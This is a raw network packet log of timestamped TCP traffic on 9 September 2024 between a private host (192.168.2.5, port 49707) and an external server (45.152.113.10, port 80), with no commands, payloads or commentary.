Sep 9, 2024 18:45:04.386797905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386806011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386815071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386825085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386833906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386851072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386852026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386866093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386868954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386885881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386887074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386907101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386920929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.387068987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.387084961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.387113094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.387125015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.421643019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.421669006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.421684980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.421717882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.421750069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.421981096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422004938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422022104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422029972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422040939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422049046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422060966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422070026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422091961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422106981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422110081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422135115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422149897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422149897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422168970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422180891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422185898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422200918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422204971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422219992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422238111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422255993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422267914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422283888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422312021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422331095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422513008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422529936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422545910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422564983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422584057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422647953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422666073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422694921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422715902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422724962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422761917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422772884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422779083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422796011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422806025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422826052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422832966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422847033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422853947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422874928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422888041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422899008 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422905922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422923088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422933102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422940016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.422954082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422974110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.422992945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423038006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423053980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423077106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423084974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423113108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423116922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423132896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423134089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423151970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423161030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423167944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423182011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423182964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423201084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423201084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423222065 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423226118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423242092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423269033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423275948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423291922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423320055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423340082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423422098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423438072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423453093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423468113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423486948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423505068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423527956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423542976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423574924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423578024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423595905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423605919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423621893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423623085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423640013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423650980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423655987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423671007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423688889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423690081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423719883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423731089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423739910 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423774958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423785925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423830986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423877954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423893929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423908949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423926115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423942089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423945904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423962116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.423964024 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.423991919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.424006939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.460274935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.460310936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.460328102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.460341930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.460359097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.460381985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.460395098 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.460400105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.460417032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.460427046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.460437059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.460448980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.460463047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.460480928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479012966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479047060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479063988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479077101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479080915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479099035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479099035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479118109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479118109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479136944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479140043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479155064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479161978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479172945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479182959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479206085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479219913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479226112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479238033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479254961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479265928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479273081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479284048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479300976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479304075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479319096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479322910 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479336023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479341984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479360104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479381084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479393005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479417086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479434967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479453087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479461908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479470015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479487896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479500055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479504108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479520082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479522943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479540110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479540110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479553938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479572058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479577065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479592085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479593039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479609966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479623079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479639053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479640961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479661942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479665041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479684114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479684114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479708910 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479728937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479731083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479748964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479767084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479777098 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479783058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479796886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479800940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479816914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479819059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479835987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479855061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479856014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479872942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479875088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479899883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479907990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479926109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479926109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479940891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479955912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479970932 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.479979992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.479995966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.480000973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.480012894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.480024099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.480032921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.480041027 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.480060101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.480073929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.480098009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.480114937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.480129957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.480144024 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.480161905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.480180979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.544574976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.544596910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.544622898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.544641018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.544642925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.544656992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.544666052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.544677019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.544689894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.544696093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.544709921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.544728041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.544749022 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.544796944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.544811964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.544846058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.544859886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.547167063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.547199011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.547221899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.547223091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.547240973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.547240973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.547257900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.547266006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.547276974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.547287941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.547295094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.547307014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.547327995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.547338963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.547341108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.547375917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.548841000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.548857927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.548873901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.548902035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.548909903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.548909903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.548928022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.548943996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.548953056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.548959970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.548973083 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.548978090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.548995972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.548998117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.549014091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.549020052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.549040079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.549041986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.549061060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.549134970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.549180031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.549196005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.549211979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.549223900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.549225092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.549242973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.549263000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.550779104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.550822020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.550838947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.550842047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.550864935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.550865889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.550880909 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.550908089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.550985098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551012993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551037073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.551037073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551058054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.551058054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551076889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551080942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.551110029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.551112890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551120996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.551131010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551146984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551163912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551167011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.551181078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551183939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.551203012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.551215887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551227093 CEST	49707	80	192.168.2.5	45.152.113.10
